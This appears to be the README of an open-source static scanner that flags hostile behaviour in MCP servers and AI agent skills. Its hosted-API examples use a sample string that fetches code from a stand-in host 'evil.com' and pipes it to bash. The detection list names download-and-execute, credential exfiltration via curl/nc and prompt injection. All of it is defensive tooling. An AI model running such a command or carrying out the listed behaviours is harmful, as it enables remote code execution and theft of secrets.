skill-audit-mcp

skill-audit-mcp

Static security scanner for MCP servers, AI agent skills, and plugins. 17 attack patterns (65 regex signatures) across 4 severity levels. SARIF output → GitHub Code Scanning. Ships as a CLI, GitHub Action, multi-arch Docker image, MCP server, and hosted x402 API.

⚡ Try it in 30 seconds

# Option A: Docker (zero install, works anywhere)
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 --path /work

# Option B: Hosted API (pay-per-scan, no signup)
curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'

# Option C: GitHub Action (CI/CD) — see below

📡 Featured in

Cross-referenced from the discovery channels that AI/security engineers actually read:

• punkpeye/awesome-mcp-servers (86K★) — Security section
• cline/mcp-marketplace (61K★) — curated one-click install (review pending)
• ComposioHQ/awesome-claude-skills (59K★) — Security & Systems
• aaif-goose/goose (45K★) — extension tutorial doc
• sdras/awesome-actions (28K★) — Security
• veggiemonk/awesome-docker (36K★) — Security
• VoltAgent/awesome-claude-code-subagents (20K★) — Quality & Security subagent
• travisvn/awesome-claude-skills (12K★)
• BehiSecc/awesome-claude-skills (9K★)
• yzfly/Awesome-MCP-ZH (7K★) — 中文 🔒 安全与分析
• tensorchord/Awesome-LLMOps (6K★) — Frameworks for LLM security
• devsecops/awesome-devsecops (5K★) — Testing
• mahseema/awesome-ai-tools (5K★) — Developer tools

Four ways to use:

1. GitHub Action (CI/CD)

Add to your workflow to automatically scan PRs:

name: MCP Security Audit
on: [pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: eltociear/skill-audit-mcp@v1
        with:
          path: '.'
          fail-on: 'HIGH'

With SARIF upload (shows findings in GitHub Security tab):

      - uses: eltociear/skill-audit-mcp@v1
        with:
          path: '.'
          sarif: 'results.sarif'
      - uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: 'results.sarif'

2. CLI

Standard-library Python 3.8+, nothing to install. (Not on npm yet — earlier versions of this README said npx @eltociear/skill-audit-mcp, which never resolved.)

git clone --depth 1 --branch v1.2.0 https://github.com/eltociear/skill-audit-mcp
cd skill-audit-mcp

python3 cli.py --path ./server.py                  # scan a file
python3 cli.py --path ./some-skill/                # scan a directory
python3 cli.py --path . --json                     # JSON output
python3 cli.py --path . --sarif results.sarif      # SARIF output
python3 cli.py --path . --fail-on HIGH             # exit 1 on HIGH or CRITICAL

Findings are labelled by where they live. production decides the exit code; documentation and test are reported but do not fail the scan unless you pass --include-nonproduction. Files an agent reads as instructions — SKILL.md, AGENTS.md, CLAUDE.md, .cursorrules, anything under .claude/commands|agents|skills/ or .cursor/rules/ — count as production: for a skill they are the program, not notes about it.

3. MCP Server (Claude Desktop / Cursor)

Add to your MCP config:

{
  "skill-audit-mcp": {
    "type": "stdio",
    "command": "python3",
    "args": ["path/to/scanner.py"]
  }
}

Then ask Claude: "Audit this MCP server for security issues"

What it detects

Severity	Patterns
CRITICAL	Download & execute (incl. base64 -d | sh), credential exfiltration (incl. a secret file handed to curl/nc), key generation, sensitive directory write, seed phrase harvesting
HIGH	Arbitrary code execution with dynamic input, auth bypass, identity impersonation, prompt injection
MEDIUM	Privilege escalation (world-writable modes, elevated-access requests), obfuscation
INFO	External downloads, skill installation, unknown API calls, data collection, external URLs, broad filesystem access — reported as context, never scored

Risk scoring

The level is the highest-severity finding present — one credential exfiltration is CRITICAL no matter how clean the rest is. The 0-100 score is magnitude only. Findings on comment lines, in pattern literals and in markdown tables are reported but demoted when they need execution to do harm.

Sister project — secrets-audit-mcp

For leaked credentials and API keys (vs behavioral patterns covered here), see secrets-audit-mcp — 32 provider rules (AWS / GCP / GitHub / Stripe / OpenAI / Anthropic / Slack / Discord / Telegram / npm / Docker / Web3 / private keys). Same zero-dep, single-file stdio MCP server design.

Layer	Server	Detects
Behaviors	skill-audit-mcp (this)	curl-pipe-sh, prompt injection, exfiltration (17 patterns)
Secrets	secrets-audit-mcp	leaked keys/tokens/PEMs (32 rules)

Run both for full coverage.

4. Docker (offline, multi-arch)

Zero-install scanner image at ghcr.io/eltociear/skill-audit-mcp:v1 — linux/amd64 + linux/arm64.

# Scan the current directory, fail on HIGH or higher
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \
  --path /work --min-severity MEDIUM --fail-on HIGH

# Get SARIF for upload to GitHub Code Scanning
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \
  --path /work --sarif-output /work/audit.sarif

5. Hosted API (x402 pay-per-scan)

No signup, no account. Pay $0.01 USDC per scan via x402 micropayment on Base: the endpoint answers 402 with a payment challenge, your agent's wallet settles it, and the scan runs. A GET on the same path returns the price without spending anything.

curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'

# Or by URL:
curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"url": "https://github.com/some-org/some-mcp-server"}'

First call returns HTTP 402 with a payment requirement (x402 v2 protocol). Settle via @bankr/cli, then retry.

6. pre-commit hook

Add to your .pre-commit-config.yaml:

repos:
  - repo: https://github.com/eltociear/skill-audit-mcp
    rev: v1.2.0
    hooks:
      - id: skill-audit-mcp

Hire me for an audit

Need a deeper review than the automated scanner can give? I take freelance MCP / AI agent security audits at three tiers:

Tier	Price	Deliverable
Spot scan	$500	Full repo scan + 1-page risk report with prioritized fixes
Standard	$2,000	Manual review + PoC for HIGH/CRITICAL findings + remediation PR
Engagement	$5,000+	Pentest, threat model, retest after fixes, 30-day Slack support

Track record: the entry files of 196 public MCP servers scanned; 194 clean, 2 surfaced findings for review, false-positive rate driven 14.8% -> 1.0% first. A whole-repository scan flags far more (18% of 109 registry servers sampled 2026-09-29), mostly documented installers and tool code that a human should glance at (method and results) (reports prepared for bytebase/dbhub, mysql_mcp_server, applescript-mcp, docker-mcp).

Email: [email protected] (subject: "MCP audit")

Or buy a one-off MCP Security Audit Report ($5) directly: polar.sh/eltociear.

Sponsors

If skill-audit-mcp saved your bacon — or you just want to keep new detection rules shipping — I happily accept sponsorships:

• GitHub Sponsors
• Ko-fi
• Polar

Security

Found a vulnerability in skill-audit-mcp itself? Report via private security advisory — see SECURITY.md for the response timeline.

Found a vulnerability in a third-party MCP server using skill-audit-mcp? Report it to that project's security policy or via huntr.com.

Star history

License

MIT

Free MCP vs paid x402

This MCP server is free. For server-side / batch / no-install use, the same scanner is a pay-per-call x402 HTTP API: POST https://eltociear-skill-audit.hf.space/audit ($0.01 USDC on Base) and /audit/url ($0.03). In the official MCP Registry as io.github.eltociear/skill-audit-mcp.

Also hosted on the Apify Store (Repo Security Scanner) — no install, scan a whole GitHub org or repo list, pay per repo.

Professional audit services

Maintained by the same author — paid services on Polar (Stripe checkout):

• MCP Security Audit Report — $5 — one-off audit of your MCP server: 17 attack patterns, severity-rated PDF report with concrete fixes.
• Security Pulse — $5/mo (annual $50) — monthly briefing on newly disclosed MCP server vulnerabilities, scan stats across 100+ tracked repos, mitigation playbooks.
• Pro Audit Stack — $20/mo — for teams running MCP servers in CI/CD: 50 hosted scans/month, Discord access, 24h SLA on vulnerability questions.

Full catalog: polar.sh/eltociear

Also live: clean-read ($0.005 / call)

Same operator, same x402 rails: clean-read turns any URL into clean Markdown for AI agents — fetches the page, strips nav/ads/boilerplate (trafilatura), returns the main content with title and word count. POST https://eltociear-skill-audit.hf.space/read — $0.005 USDC on Base, no signup.